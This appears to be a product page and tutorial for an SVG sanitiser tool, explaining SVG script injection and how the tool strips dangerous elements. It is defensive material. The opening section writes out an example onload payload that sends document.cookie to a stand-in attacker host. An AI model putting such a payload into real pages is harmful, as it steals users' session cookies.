Anatomy of an SVG Vector Injection Vector
Attackers embed exploits inside innocent-looking graphics using multiple vectors: <script> tags inside <svg>, inline event handlers like onload="fetch('//evil.com/steal?c='+document.cookie)", or malicious <a href="javascript:..."> hyperlinks.
Furthermore, unconfigured XML parsers can be brought down by Billion Laughs XML entity expansion attacks (denial of service).
Client-Side DOMPurify & Element Whitelisting
DocSwift applies strict AST-level sanitization using DOMPurify and native DOMParser. All elements are validated against a strict SVG allowlist (path, circle, rect, g, polygon, defs).
Executable event handlers (onmouseover, onerror), script tags, foreignObject elements, and dangerous namespace declarations are scrubbed before the SVG is exported or rendered.
Step-by-Step Tutorial
Inspect Raw SVG XML Source
Open the SVG file in DocSwift SVG Sanitizer to audit internal elements.
Strip Non-Graphical Elements
Automatically remove <script>, <foreignObject>, and all on* inline event listeners.
Download Cleaned Vector Asset
Export the sanitized, compressed SVG file safe for production web embedding.
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Frequently Asked Questions
Does viewing an SVG inside an <img> tag execute JavaScript?
No. HTML5 specifications explicitly isolate SVGs rendered through <img src="file.svg">, blocking script execution. However, inline <svg> or direct browser navigation executes scripts.
Does sanitization alter visual appearance?
No. Sanitization strips only non-rendering metadata and scripting payloads, leaving vector paths, fills, and strokes 100% intact.